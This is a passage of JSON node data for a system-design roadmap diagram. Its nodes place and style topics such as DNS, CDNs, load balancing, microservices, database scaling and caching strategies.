\"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -300.8123473873875,\n        \"y\": 735.5759021485857\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2gRIstNT-fTkv5GZ692gx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -300.8123473873875,\n        \"y\": 808.5503059007614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Returning Results\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -300.8123473873875,\n        \"y\": 808.5503059007614\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Uk6J8JRcKVEFz4_8rLfnQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -38.450004973186594,\n        \"y\": 808.5503059007614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Domain Name System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O730v5Ww3ByAiBSs6fwyM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.450004973186594,\n        \"y\": 808.5503059007614\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O730v5Ww3ByAiBSs6fwyM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 238.5,\n        \"y\": 808.5503059007614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Delivery Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 238.5,\n        \"y\": 808.5503059007614\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uIerrf_oziiLg-KEyz8WM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 572.1868989634623,\n        \"y\": 838.4632786581586\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Push CDNs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 572.1868989634623,\n        \"y\": 838.4632786581586\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HkXiEMLqxJoQyAHav3ccL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 572.1868989634623,\n        \"y\": 785.4632786581586\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pull CDNs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 572.1868989634623,\n        \"y\": 785.4632786581586\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"14KqLKgh090Rb3MDwelWY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 238.5,\n        \"y\": 1029.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Load Balancers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 238.5,\n        \"y\": 1029.2994626720824\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ocdcbhHrwjJX0KWgmsOL6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 502.27648583084766,\n        \"y\": 923.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LB vs Reverse Proxy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.27648583084766,\n        \"y\": 923.2994626720824\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"urSjLyLTE5IIz0TFxMBWL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 502.27648583084766,\n        \"y\": 976.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Load Balancing Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.27648583084766,\n        \"y\": 976.2994626720824\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e69-JVbDj7dqV_p1j1kML\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 502.27648583084766,\n        \"y\": 1029.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Layer 7 Load Balancing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.27648583084766,\n        \"y\": 1029.2994626720824\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MpM9rT1-_LGD7YbnBjqOk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 502.27648583084766,\n        \"y\": 1082.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Layer 4 Load Balancing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.27648583084766,\n        \"y\": 1082.2994626720824\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IkUCfSWNY-02wg2WCo1c6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 502.27648583084766,\n        \"y\": 1135.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Horizontal Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.27648583084766,\n        \"y\": 1135.2994626720824\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XXuzTrP5UNVwSpAk-tAGr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -38.450004973186594,\n        \"y\": 1029.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Application Layer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -38.450004973186594,\n        \"y\": 1029.2994626720824\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UKTiaHCzYXnrNw31lHriv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -38.450004973186594,\n        \"y\": 889.9959916278779\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Microservices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.450004973186594,\n        \"y\": 889.9959916278779\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Nt0HUWLOl4O77elF8Is1S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -38.450004973186594,\n        \"y\": 942.9959916278779\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Discovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.450004973186594,\n        \"y\": 942.9959916278779\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5FXwwRMNBhG7LT5ub6t2L\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -38.450004973186594,\n        \"y\": 1129.2994626720824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"84N4XY31PwXRntXX1sdCU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.450004973186594,\n        \"y\": 1129.2994626720824\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KLnpMR2FxlQkCHZP6-tZm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -38.450004973186594,\n        \"y\": 1221.833610961679\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQL vs NoSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.450004973186594,\n        \"y\": 1221.833610961679\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dc-aIbBwUdlwgwQKGrq49\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.683453649206,\n        \"y\": 1165.5927435005694\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Replication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 193\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.683453649206,\n        \"y\": 1165.5927435005694\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FX6dcV_93zOfbZMdM_-li\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.683453649206,\n        \"y\": 1218.5927435005694\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sharding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 193\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.683453649206,\n        \"y\": 1218.5927435005694\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DGmVRI7oWdSOeIUn_g0rI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.683453649206,\n        \"y\": 1271.5927435005694\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Federation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 193\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.683453649206,\n        \"y\": 1271.5927435005694\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Zp9D4--DgtlAjE2nIfaO_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.683453649206,\n        \"y\": 1324.5927435005694\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Denormalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 193\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.683453649206,\n        \"y\": 1324.5927435005694\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fY8zgbB13wxZ1CFtMSdZZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.683453649206,\n        \"y\": 1377.5927435005694\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SQL Tuning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 193\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.683453649206,\n        \"y\": 1377.5927435005694\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uyrV_iIIQQvEDSUM9gt7H\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -239.183453649206,\n        \"y\": 1437.5927435005694\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RDBMS\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -239.183453649206,\n        \"y\": 1437.5927435005694\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 78,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"KFtdmmce4bRkDyvFXZzLN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.4401505968112,\n        \"y\": 899.2722684546688\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key-Value Store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.4401505968112,\n        \"y\": 899.2722684546688\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"didEznSlVHqqlijtyOSr3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.4401505968112,\n        \"y\": 952.2722684546688\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Document Store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.4401505968112,\n        \"y\": 952.2722684546688\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WHq1AdISkcgthaugE9uY7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.4401505968112,\n        \"y\": 1005.2722684546688\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Wide Column Store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.4401505968112,\n        \"y\": 1005.2722684546688\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6RLgnL8qLBzYkllHeaI-Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -294.4401505968112,\n        \"y\": 1058.2722684546688\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Graph Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -294.4401505968112,\n        \"y\": 1058.2722684546688\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"de-uXrRy3XDwZbLyXXluK\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -234.44015059681118,\n        \"y\": 1115.2232701331175\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NoSQL\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -234.44015059681118,\n        \"y\": 1115.2232701331175\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"-X4g8kljgVBOBcf1DDzgi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 238.5,\n        \"y\": 1261.115307718412\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"84N4XY31PwXRntXX1sdCU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 238.5,\n        \"y\": 1261.115307718412\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bgqgl67FK56ioLNFivIsc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1230.326180649652\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Refresh Ahead\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1230.326180649652\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vNndJ-MWetcbaF2d-3-JP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1283.326180649652\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Write-behind\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1283.326180649652\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RNITLR1FUQWkRbSBXTD_z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1336.326180649652\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Write-through\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1336.326180649652\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bffJlvoLHFldS0CluWifP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1389.326180649652\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cache Aside\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 512.0255635517132,\n        \"y\": 1389.326180649652\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AUCyMMaN7s2OnCEMo2-Or\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 580.5255635517132,\n        \"y\": 1447.615307718412\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Strategies\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 580.5255635517132,\n        \"y\": 1447.615307718412\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 95,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"RHNRb6QWiGvCK3KQOPK3u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1496.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1496.6321590449484\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kisvxlrjb7XnKFCOdxRtb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1549.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CDN Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1549.6321590449484\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o532nPnL-d2vXJn9k6vMl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1602.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Server Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1602.6321590449484\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BeIg4jzbij2cwc_a_VpYG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1655.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Database Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      